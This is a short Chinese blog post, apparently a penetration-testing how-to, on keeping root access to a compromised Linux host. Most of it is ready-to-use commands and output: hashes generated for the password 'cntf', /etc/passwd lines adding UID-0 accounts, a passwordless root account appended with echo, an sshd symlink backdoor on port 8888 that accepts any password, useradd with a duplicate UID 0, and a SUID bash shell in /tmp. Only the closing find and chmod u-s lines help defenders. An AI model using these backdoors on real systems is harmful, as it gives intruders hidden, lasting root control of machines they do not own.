Linux添加特权用户设置-生成密码哈希的3种方法

下面是生成密码哈希的3种方法,只需要使用下面其中一种方式既可以
openssl passwd -1 -salt cntf cntf
mkpasswd -m SHA-512 cntf
python2 -c 'import crypt; print crypt.crypt("cntf", "$6$salt")'

root@wptest:~# openssl passwd -6 -salt cntf cntf
$6$cntf$fV7j8.Dbe0Vy.CZ2i8YA968/y4vf0jurRtfwANIKU3KLaA2nXuGO4oSTLAJ7/0mlD4qRNrJbf73LRAQkoTn3n1

root@wptest:~# openssl passwd -5 -salt cntf cntf
$5$cntf$jtFkjCuFXyHjiXP/dmoHXVrhf2iKdokMOyLqP/gMm23

root@wptest:~# openssl passwd -1 -salt cntf cntf
$1$cntf$Sxu379sAGerPyklpbYkNb/

root@wptest:~# mkpasswd -m SHA-512 cntf
$6$rE82fdRwUuB0GvA2$QLIAGwPUJ.W6BFrPwxTBKbX2ZyjAEeTKZq0i6E1JdF6ZaJQf8JVV7OM2YInFfOGzLFXtbHuzvzHg9RHCFctON/

root@wptest:~# python2 -c 'import crypt; print crypt.crypt("cntf", "$6$salt")'
$6$salt$.TAOTGEeht/2wTKa3Sn/Gvjq8aXWHBlnBdadLP607WEiBnNneqpjPZMG9OuRUqSylRX/62cwPn07mweRQX5XX.


将下面其中一行加入到/etc/passwd中即可使用cntf作为用户名,密码是cntf进行登录。
cntf1:$6$cntf$fV7j8.Dbe0Vy.CZ2i8YA968/y4vf0jurRtfwANIKU3KLaA2nXuGO4oSTLAJ7/0mlD4qRNrJbf73LRAQkoTn3n1:0:0:cntf:/root:/bin/bash
cntf2:$5$cntf$jtFkjCuFXyHjiXP/dmoHXVrhf2iKdokMOyLqP/gMm23:0:0:cntf:/root:/bin/bash
cntf3:$1$cntf$Sxu379sAGerPyklpbYkNb/:0:0:cntf:/root:/bin/bash
cntf4:$6$rE82fdRwUuB0GvA2$QLIAGwPUJ.W6BFrPwxTBKbX2ZyjAEeTKZq0i6E1JdF6ZaJQf8JVV7OM2YInFfOGzLFXtbHuzvzHg9RHCFctON/:0:0:cntf:/root:/bin/bash
cntf5:$6$salt$.TAOTGEeht/2wTKa3Sn/Gvjq8aXWHBlnBdadLP607WEiBnNneqpjPZMG9OuRUqSylRX/62cwPn07mweRQX5XX.:0:0:cntf:/root:/bin/bash


直接添加用户id为0的账户,使用su切换过去不要密码。

echo 'dummy::0:0::/root:/bin/bash' >> /etc/passwd
su - dummy

软连接后门

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

ssh 192.168.78.144 -l root -p 8888   此处输入任意密码即可进入系统。

添加密码是redhat 账户是cntf的root权限。
useradd -p `openssl passwd -1 -salt 'salt' redhat` cntf -o -u 0 -g root -G root -s /bin/bash -d /home/cntf

设置SUID Shell
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

# 在Linux中查找SUID设置的文件
find . -perm /4000 
# 在Linux中查找使用SGID设置的文件
find . -perm /2000
# 取消s权限
chmod u-s /tmp/shell

posted @ 2025-05-06 17:11  皇帽讲绿帽带法技巧  阅读(55)  评论(0)    收藏  举报